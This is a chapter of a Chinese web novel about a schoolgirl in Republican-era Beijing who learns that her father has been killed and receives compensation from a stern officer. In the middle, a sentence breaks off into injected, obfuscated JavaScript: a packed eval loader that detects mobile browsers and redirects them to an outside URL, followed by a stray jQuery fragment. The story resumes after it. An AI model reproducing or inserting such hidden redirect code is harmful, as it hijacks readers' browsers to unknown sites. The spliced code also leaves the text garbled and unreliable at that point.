在和他相视的瞬间，姮音想起了和他的两面之缘。一次是在秋天，于亲人悲伤的死亡之中，姮音记住了他的脸，另一次是在冬天，他偶然路过自己的书摊，姮音记住了他的名字，萧牧河。


    民国十七年。


    她还在上女校。


    这一年，新旧交替，时局动荡，但是老百姓的日子该过还得过。按照姮音的想法，稀里糊涂地活，也是活，活着总比死了强。想是这么想，人啊，往往是言不由衷。


    她在女校的成绩好，除了动乱她一定会按时按点地上学和放学。不仅如此，她还受老师喜欢，都愿意和姮音多聊几句，也很鼓励她从女校毕业后继续考学。这是她的盼头。


    虽然她在思想上有些悲观，实际上姮音却没真的稀里糊涂过下去。


    秋天的风干爽，吹着裙摆摇曳。她挎着书袋，沿街往家走，她家在胡同最里头，看到有株长出墙头的石榴树，拐过去就是她家的小院。


    推开家门，妈妈正坐在树下洗衣裳，有一搭没一搭地盒隔壁的王婶唠嗑，王婶坐在树底下，手里捏着把瓜子，棉鞋边落了一小撮瓜子壳，估计是来得早了，已经聊了有一阵子。


    王兰对女儿的脚步声已经烂熟于心，老远就知道是姮音放学回来了，她头也没抬，拧干衣裳丢进旁边的大盆里，顺便问她：“闺女啊，今个在学校怎么样？”


    “都好，李老师又夸我了，说我作文写得好。”姮音应道，拉开屋门把书袋放下。


    “就行。”


    王兰出身不好，年轻的时候没少过苦日子，人到中年才安稳了。她最怕的就是姮音在学校里受人欺负，虽然姮音不厌其烦地说过，老师们还挺喜欢自己的，可王兰总还是忧心忡忡，免不了在她放学回家的时候多问一句。


    姮音也会告诉她，在学校里发生了什么，只是她只捡着好听的说，不会让妈妈多操心。王兰不是恨了解学校，姮音说什么，她也就信了，也是多亏了姮音是个文静的性子，从来没和别人起过冲突。


    王兰听姮音这样说，也就放下心，继续和隔壁王婶说城里头三天两头的乱，老百姓做点小生意都难做。姮音知道她们为什么聊这个，因为在几天前，胡同里有个姓刘的出去卖早点，结果被砸了摊子，伸了几天冤又不了了之了。


    姮音走出屋里，瞧了一眼自家的小院子，今天风大，刮的枯叶这一片一片，看起来乱糟糟的。她把两只袖子挽起来，拎起放在门边的大扫帚，把它们扫到一起堆拢在石榴树下。


    王婶用脚把瓜子壳往拢了拢，方便她扫走，她看着姮音利落地干活，不遗余力地夸她是个老实孩子，王兰听见她说自己女儿的好，也不推辞，大大方方认了。她只有姮音这一个女儿，自然是要当眼珠子一样宝贝着。别人夸姮音什么，她都爱听，心里也认。


    只是，姮音千好万好，就是可惜摊上个不负责的爹。城里头天翻地覆的闹腾，他倒好，连家门都没踏进来过一回。一次都没有。想到这里，怨气就和烧开的水一样，在心里直冒泡。


    她哀叹一声，拧着衣服。


    今年姮音放暑假，她们母女俩整日里躲在家中，连窗户都不敢开。街上隔三差五就响起砰砰的枪声，有时远，有时近，开始每次听到都吓得浑身抖，后来听习惯了也就麻木了。


    可她口子，东方家位满腹经纶的大儒生，说是去读圣贤书，寻求自己的大道理了，却把她们孤儿寡母扔在这乱糟糟的城里，不管不问。她想抱怨两句，可话到了嘴边，心里觉得没意思，也就不说了。


    衣裳洗完，姮音也把院子扫干净了。


    王兰不用叫她，她就放下扫帚，走到母亲身边，把盆端到粗绳底下，拿起靠在墙边的细长竹竿，把拧成一团的衣裳抖搂开，踮起脚一件件挂上去。


    姮音说：“妈，你也别太丧气了。”


    “太平？”


    “起码，现在比前几年太平。”


    王兰把手上的水甩了甩，“哪能这么容易呢，老天爷翻脸比你翻书还快，看看老黄历，上面就没有一天安生日子。”


    她要扯起来自己年轻的时候了，可是话没说完，就被一阵喧哗打断。


    喧哗声是从胡同口传来的。


    不是小贩走街串巷的吆喝，也不是街坊邻居拌嘴吵架。声音嘈杂，应该是许多人聚在一起，七嘴八舌地议论着什么，时不时有几声惊呼，仿佛在平常百姓家发生了什么不平常的大事。


    姮音说：“我去看看。”


    王兰嘱咐：“和咱无关的你别掺和，省的有什么麻烦。”


    王婶把衣服上的碎屑拍了拍，也站起来，和王兰说了几句宽慰的话，姮音没仔细听，大约是有关她爸爸的吧。


    她把最后一件衣裳挂上去，拿起毛巾擦了擦湿漉漉的手，走到院门边，把两只手搭在门框上，探出脑袋往外瞧。


    胡同里本就不宽，此刻已经站了不少人，都朝着西头张望。


    她抻着脖子，从门缝里向外瞧。


    原来一队兵正站在胡同口，他们堵住了胡同口，但姮音听不到具体发生了什么，他们只是站在里，也不知道是在等什么。


    上一次看到有成群的兵过来，还是来搜人的，姮音才十岁，她吓得哭了半天，可是还没等搜她们家，他们就找到了要搜的人，很快离开了。妈妈说，不要乱惹事，能保命。


    这年月，当兵的出现在跟前，能有什么好事，她们躲还不及躲呢，居然招到家门口了。


    畏惧让她总是看一眼就往后挪，躲回门后，却还是因为好奇，又慢慢把视线放到这些人身上。


    他们安安静静站着，没有吆喝，没有踹门，看样子也没有朝胡同深处闯进来的打算。即便如此，周围的人也隔了老远，没有谁敢真正靠近，好像中间空出来的地方可以缓解心中的不安。


    有的小声议论，有的伸长脖子，像她一样，却不敢直视这些人，有的人面上甚至多了些悲伤，用姮音的感觉来说，这悲伤叫做，兔死狐悲。


    可惜他们硬邦邦的面孔上没有端倪，怎么看也没个所以然，但始终没人敢上前问。若是平常的话，总有几个胆大又圆滑的上前去打圆场，主动开这个口，总不会像现在这样僵持着。


    姮音敏感地察觉到不寻常的地方。


    他们站得太密，她眯起眼睛细看，才发现士兵们腿脚缝隙后，还躺着副担架。


    两根粗木棍子，上面搭着块白布。布铺得并不平整，能隐约看出个僵直的人形轮廓，纹丝不动躺着，不论姮音怎么看，怎么盯着，这个轮廓都没有一丁点起伏。


    不是活人。


    没由来的惊慌充斥身体，把畏惧，好奇和事不关己的冷淡都吞没，只有惊恐。姮音甚至猜测，躺在这些人后面的尸体，会不会是哪个认识的人。


    这个想法实在是太不吉利了，姮音唾弃自己，怎么会有这么晦气的念头。不可能的，怎么会呢，怎么会牵扯到生和死呢。她们这种普通的，不能再普通的人，平平无奇地活着，再平平无奇地死了，为什么要被横插一脚无端祸事。


    姮音在心里否认，但人却已经走出来了。


    等她意识到自己站在这队兵面前，打算询问的时候，早就来不及临阵逃脱了，邻里看到姮音走出来，谁也不说话了，只盯着姮音，瞧她要说些什么。姮音把声音从肚子里用力提起来，她说：“各位军爷，你们是找谁家？”


    兵堆没动，一个穿着大衣的男人从胡同口走了进来。他似乎刚和人说完话，另一个穿着军装的高大男人留在胡同口，姮音只能看到他的一点背影。


    这个穿大衣的男人，五官斯文，眼底下有道疤，搭配上下三白眼，就非常凶神恶煞。


    他问：“东方英，住在这里？”


    姮音说：“对，我是他女儿。”


    她还抱着侥幸，祈求着相隔几米远，但她却根本不敢看一眼的尸体和自己的爸爸无关。可是她心中的预感却越来越强烈，自己也被逼得浑身发抖，好像掉进了昏暗的地窖，连气都喘不过来。


    为了印证自己的猜测是错的，姮音问他：“他怎么了？”


    他说：“你爸爸是为国家而死的。”


    轰的一下，好像有什么东西炸开了。


    姮音摇头：“不对，不对啊，他现在应该在学校的，怎么可能死了，这不是我爸爸！”


    男人无情地说：“就是东方英，如果你不打算认领，只好让我们处置了，赶紧认了，拿了钱，也好入土为安。”


    姮音追问：“他是怎么死的？”


    “这个么，我是无可奉告了。”


    “什么是无可奉告，我爸爸就这么不明不白的死了，你把他的尸体带过来，却说无可奉告？”姮音难以置信地说。


    男人被她质问得很不耐烦，眼睛往上瞟了下，又居高临下地睨了眼姮音，把手插在大衣的口袋里，好像表明了事不关己高高挂起的姿态，不打算理会姮音的诘问。


    姮音甚至在想，是不是这些人就是凶手。


    男人往前走，姮音还想说什么，他压着声音低吼：“闪开！听不懂人话吗？”


    “让你办个事儿，这么难。”


    他的脚步悄无声息，等到他站在姮音身后，开口说话，她被狠狠吓了一跳，才发现有个人。


    男人的气焰消散大半，他半低头，说：“是我一时着急了。”


    姮音转身仰起头，先是看到他的军装，样式料子比一般的兵要好多了，再看清他的脸，不怒自威，令人生畏。大约是个官儿吧。要不然旁边的兵也不能一个个呼吸都安静了。


    他先是看了眼姮音的学生裙，领口绣着校徽，燕北大学附属的女校。一个人，身上的痕迹往往能比这人说了什么更能代表身份。这片胡同里，也只有一个人在燕北附属的女校读书，这个人就是东方英的女儿，东方姮音。


    姮音撑着胆子，接受他平静的审视。


    他问：“让她确认身份了？”


    “还没。”


    “赶紧的。”


    姮音木然地看着男人抬抬手，两个士兵立刻会意，从队列里站出来，弯腰抬起盖着白布的担架，朝着自己走了过来。她摇着头往后退，再往后退，好想跑，只要逃开这件事就没有发生。


    实际上姮音只是踉跄着向后蹭了两步。


    或许是秋风把覆在担架上的白布掀起来一个角，又或者是行走间的颠簸，姮音清清楚楚地看到一只不属于活人的手，僵硬弯曲，骇人的青灰色皮肤沾着干涸发黑的血迹，无力地朝着大地垂落。


    姮音呜咽着，本能地就要朝担架扑过去，可是，有只手却稳稳地按在了她的肩膀上。


    他的手臂横在姮音身前，力道并不凶狠，甚至是刻意的收敛，即便如此，就算只是轻轻一搭，对她来说也过于重了。


    他轻而易举把她拦了下来，姮音在心里欺骗自己，不是东方英，实际上她已经认了出来，她紧紧抓着他军装的衣袖，徒劳地挣了一下就几乎要跪倒在地，戴着皮手套的手却纹丝不动。男人看着姮音，就像是在看待一个孩子，刚刚得知失去至亲的，无助的孩子。


    男女大防用在孩子身上，就是过了头。他弯曲手臂，把姮音捞着，免得她摔了。


    按理来说他也不算接了这个活，用不着他出面。办公厅和警察厅的人吵来吵去，互相推诿责任，他一个帮忙抓人的被迫旁听，觉得头疼，想着正好顺路，督促办公厅的人把抚恤金送到就得了。谁曾想，这都能三言两语呛火药。


    自己这个别人眼里只会杀人的煞星


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389859|184236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，何必多管闲事，去蹚这浑水，但多说几句话，又不是做善人。


    他对穿大衣的男人说：“钱呢？”


    男人赶紧把口袋的钱掏出来，双手送到他手上。他把姮音带一处僻静角落，等到姮音站稳之后才松开手，姮音靠在墙上，揪着裙摆垂泪。


    他问姮音：“我需要确认一些事。”


    姮音抬头，隔着眼泪望他，又点点头。


    “家里就你和你母亲，对吧？”


    “是，就我们俩。”


    她简单地回答，说完又觉得只是干巴巴一句，也解释不清楚什么，姮音就像是只被巨大的恐慌挤压的鸟儿，好像吐出的东西越多，她活下来的可能性就越大。她语无伦次地说：“我们的老家在苏州，兵荒马乱的，家里人都回南方了，就剩我，妈妈，还有爸爸。”


    说是老家，其实姮音根本没去过南方，只是她想到了，就说出来了。反正眼前这个人需要确认信息，只要她把自己的一切都讲出来，就没有事了。


    她强迫自己继续往下说，仿佛说得越多，就能证明什么，或者挽回什么：“我们许久没见到他了，只知道他平时住在学校，其他的我们就不知道了，他在哪里，在做什么，都不和家里说的。”


    她停住了。


    因为他一直没有说话。


    沉默像潮水从土地深处漫上来，漫过腿，手臂，眼耳鼻舌，最后将她整个身体都淹没，直到彻底窒息。


    他的沉默到底意味着什么？他不是说了爸爸是为国家而死的，为什么他却不说话了呢，为什么不告诉自己，究竟发生了什么。


    “他不是有罪。”


    他终于开口，切断姮音所有胡思乱想。


    就算过了很久以后，她回想起这一天，还是不清楚，他这时候到底在想什么，是不是因为见过太多死亡，以至于挂上层又冷又硬的外壳，姮音看不透，他到底是揣着点怜悯，还是只是审视。


    毕竟此时的她和他，只是陌路，只是死亡暂时把她们放到了一条路上。她不认识他，他也不曾正视她，仅此而已。


    “有人诬陷，被抓了，本来我们能放他回学校教书的，可惜还是太晚了。”他言简意赅，并没有因为她苍白的脸色就变得委婉，话说完了，又安慰似的说，“虽然有些波折，但他的确是为了国家的事业而死的。”


    姮音忽然想笑。


    原来真相居然是这样。


    男人拿出满满一袋子银元，让姮音伸出手，可是她的手抖的不成样子，他握着姮音的手腕，把钱塞到她掌心，“拿好了，这些钱够你们生活，也够你上学。”


    姮音问：“这是什么？”


    他解释这袋钱的来源：“诬陷你父亲的人是叛徒，被人出卖遭到我们的追捕，他把错归到你父亲的头上，为了泄私愤，没等放出来就找人给他打死了，这是警察厅的纰漏，逮捕令是政府办公厅签署的，为了平事，给你发了抚恤金。”


    真相总是残酷的。他被打死了。不是病死，不是意外，是被打死的。死亡背后的事，是她根本无法理解的复杂，最后的最后，只剩下一袋子银元，是他给的抚恤金。


    妈妈总是害怕她们家招惹上不该惹的人，她觉得只要老老实实的，只做好分内的，把两只耳朵堵上，就可以掩耳盗铃地好生活下去。可是东方英觉得，这世界需要他说什么，他像是一把干柴，不知道往有水的地方跑，只想成为飞蛾扑火的殉道者，最后却死得如此荒唐。


    好像从一开始，她和他就已经分道扬镳。


    滚烫的眼泪涌了出来，顺着脸颊往下淌，她攥紧了钱袋子，仿佛这些钱是她唯一能抓住的东西。


    看他要走，姮音问：“诬陷他的人呢？”


    他不应该多说的。不过反正叛逃的和受罪的都死了，而不管是前者和后者，都和他本人没什么关系，他只是临时作为第三方被调去善后的，既然如此，他为什么要为连这种事都办砸的蠢货保守秘密呢。


    他说：“死了，追捕的过程中他持枪伤人，被打死了。”


    姮音这才抹着眼泪，想认真看他一眼。


    但她根本就看不清，他的五官和眼睛都在泪水中模糊，成了一片摇晃的蓝。


    离开前，他说：“你是个好孩子，以后拿着钱好好生活。”


    姮音却说不出一个字，她捧着钱，大声哭泣着，眼泪滴在衣襟上，袋子上，落在土地上。她和东方英的关系早就不算亲近了，但失去亲人本身，就是一件足以称之为创伤的事。


    她对东方英的感情好像停留在小时候，她越长大，他就走得越远。


    直到再也看不见。


    “英哥！”


    一声凄厉的呼唤。


    王兰喊出丈夫的名字，可是没有人回应，尸体怎么可能回答活人呢，但她还是嘶力竭地呼唤，一声又一声，执着地非要他开口才算罢休一样。


    姮音走出这个偏僻角落，她妈妈正抓着白布一角，掀开，白布之下并不是她记忆中爸爸方正温和的脸。这个尸体的脸已经肿胀变形，青紫交错，布满淤痕和血污。


    王兰像被铁锤砸中脊骨，扑在东方英的尸体上，发出肝肠寸断的哭声。


    姮音走到妈妈身边，俯下身，伸出手，她把白布盖回尸体上，遮得严严实实。


    王兰见到姮音，像溺水的人找到了唯一的依靠，她用力地抱住姮音，力气大得要将人勒断。母女俩紧紧相拥，在死亡面前蜷缩成一团。


    周遭邻居这才上前劝慰着，姮音一时间听不清他们到底在说什么，就在这片混乱之中，不知何时，他们已然无影无踪。悄无声息地离开，如同来时一样突然，仿佛从未出现。


    真像佛龛前一缕。


    被风吹散的，寂灭的梵烟。